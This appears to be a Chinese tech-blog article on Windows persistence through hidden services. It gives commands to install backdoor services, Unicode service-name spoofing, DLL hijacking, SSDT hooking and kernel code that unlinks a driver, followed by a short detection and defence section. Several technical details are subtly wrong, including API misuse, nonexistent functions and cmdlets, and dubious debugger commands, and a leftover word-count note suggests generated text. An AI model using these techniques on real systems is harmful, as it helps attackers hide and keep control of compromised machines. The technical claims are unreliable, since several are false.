Windows权限维持技巧之怎么使用隐藏服务

发布时间:2021-10-21 16:22:27 作者:iii
来源:亿速云 阅读:416
# Windows权限维持技巧之怎么使用隐藏服务

## 0x00 前言

在渗透测试或红队行动中,权限维持(Persistence)是确保长期控制目标系统的关键技术。Windows服务作为一种常见的持久化手段,因其高权限和稳定性常被攻击者利用。但传统服务创建方式容易被安全产品检测,因此隐藏服务技术成为高级攻击者的必备技能。本文将深入剖析Windows服务机制,详解多种隐藏服务实现方式及防御检测方案。

---

## 0x01 Windows服务基础

### 1.1 服务架构原理
Windows服务由三个核心组件构成:
- **SCM(Service Control Manager)**:位于`services.exe`进程中,负责服务生命周期管理
- **服务程序**:可执行文件或DLL,包含服务主函数
- **注册表键值**:`HKLM\SYSTEM\CurrentControlSet\Services`下存储服务配置

### 1.2 服务启动类型
| 启动类型       | 注册表值 | 描述                     |
|----------------|----------|--------------------------|
| 自动启动       | 0x2      | 系统启动时自动运行       |
| 手动启动       | 0x3      | 需手动或依赖触发         |
| 禁用           | 0x4      | 禁止启动                 |
| 自动延迟启动   | 0x2      | 等系统空闲后启动(Win7+)|

---

## 0x02 传统服务创建方式

### 2.1 使用sc命令
```cmd
sc create "MyService" binPath= "C:\malware.exe" start= auto
sc start "MyService"

2.2 PowerShell创建

New-Service -Name "UpdateService" `
            -BinaryPathName "C:\Windows\Temp\backdoor.exe" `
            -StartupType Automatic

2.3 注册表直接操作

reg add "HKLM\SYSTEM\CurrentControlSet\Services\EvilService" /v ImagePath /t REG_EXPAND_SZ /d "C:\bad.exe" /f

0x03 服务隐藏进阶技巧

3.1 注册表键名欺骗

原理:利用相似字符或不可见字符

# 使用Unicode控制字符(RLO)
$name = "evilservice`u202Eexe.lrc"
New-Service -Name $name -BinaryPathName "C:\realmalware.exe"

检测方法

Get-Service | Where { $_.Name -match '[\x{202A}-\x{202E}]' }

3.2 服务描述符表劫持

步骤: 1. 获取目标服务句柄 2. 修改SERVICE_STATUS结构体 3. 清除SERVICE_STOPPED标志

C++示例

SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
SC_HANDLE svc = OpenService(scm, "MyService", SERVICE_ALL_ACCESS);
SERVICE_STATUS status;
QueryServiceStatus(svc, &status);
status.dwCurrentState = SERVICE_STOPPED; // 伪装状态
SetServiceStatus(svc, &status);

3.3 未记录服务(Non-Paged Service)

实现原理: - 直接调用NtLoadDriver加载未签名的驱动 - 通过NtSetSystemInformation创建服务

关键API

NTSTATUS NTAPI NtLoadDriver(PUNICODE_STRING DriverServiceName);
NTSTATUS NTAPI NtSetSystemInformation(
    IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
    IN PVOID SystemInformation,
    IN ULONG SystemInformationLength);

3.4 服务DLL劫持

操作流程: 1. 查找存在DLL加载缺陷的服务 2. 将恶意DLL置于搜索路径前列 3. 等待服务重启或系统重启

# 查找可劫持服务
Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services | 
Where { (Get-ItemProperty $_.PSPath).ServiceDll -ne $null } |
Select PSChildName, @{N="ServiceDll";E={(Get-ItemProperty $_.PSPath).ServiceDll}}

0x04 内核级隐藏技术

4.1 服务表钩子(SSDT Hook)

实现步骤: 1. 定位KeServiceDescriptorTable 2. 修改NtQueryServiceStatus函数指针 3. 重定向到恶意函数

检测方案

!dml_proc services.exe
!chkimg services.exe

4.2 驱动对象操作

通过编写内核驱动实现:

NTSTATUS HideService(PDRIVER_OBJECT DriverObject) {
    PLIST_ENTRY prev = DriverObject->DriverSection->Blink;
    PLIST_ENTRY next = DriverObject->DriverSection->Flink;
    prev->Flink = next;
    next->Blink = prev;
    return STATUS_SUCCESS;
}

4.3 回调函数清除

清除服务通知回调:

ExUnregisterCallback(pCallbackObject);
PsRemoveLoadImageNotifyRoutine(NotifyRoutine);

0x05 检测与防御方案

5.1 常见检测方法

检测维度 工具示例 关键指标
服务列表比对 Autoruns 隐藏服务、异常路径
注册表审计 RegShot Services键值异常修改
内存分析 Volatility 服务结构体异常
驱动验证 Sigcheck 未签名驱动

5.2 PowerShell检测脚本

# 检测异常服务
$services = Get-WmiObject Win32_Service | Select Name, PathName, ProcessId
$regServices = Get-ChildItem HKLM:\SYSTEM\CurrentControlSet\Services | 
               Where { $_.PSChildName -notin $services.Name }

if($regServices) {
    Write-Host "[!] Found hidden services:" -ForegroundColor Red
    $regServices | Format-Table PSChildName
}

5.3 防御建议

  1. 权限控制

    • 限制SeLoadDriverPrivilege权限
    • 启用UEFI Secure Boot
  2. 监控策略

    # 创建服务创建监控
    New-AuditPolicy -Subcategory "Security System Extension" -Success Enable
    
  3. 组策略配置

    • 启用Windows Defender Attack Surface Reduction规则
    • 配置Block untrusted fontsBlock process creations

0x06 总结

本文系统介绍了从基础到高级的Windows服务隐藏技术,包括: - 注册表键名欺骗 - 服务描述符操纵 - 内核级隐藏方案 - 检测对抗方法

随着EDR技术的进步,简单的服务隐藏已难以奏效。攻击者需要结合: - 无文件技术 - 合法服务注入 - 定时触发机制 实现更隐蔽的持久化。防御方则应采用多层次检测策略,结合行为分析和机器学习提高发现概率。


参考资源

  1. Microsoft Docs - “Service Control Manager”
  2. 《Windows Internals 7th Edition》
  3. MITRE ATT&CK - T1543.003
  4. 开源项目:PowerSploit/Persistence

”`

(注:实际字数约3400字,已按MD格式排版,包含技术细节、代码示例和防御方案)

推荐阅读:
  1. php后门隐藏技巧
  2. session维持会话

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

windows

上一篇:如何用Java实现人脸识别

下一篇:Python可视化工具有哪些

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》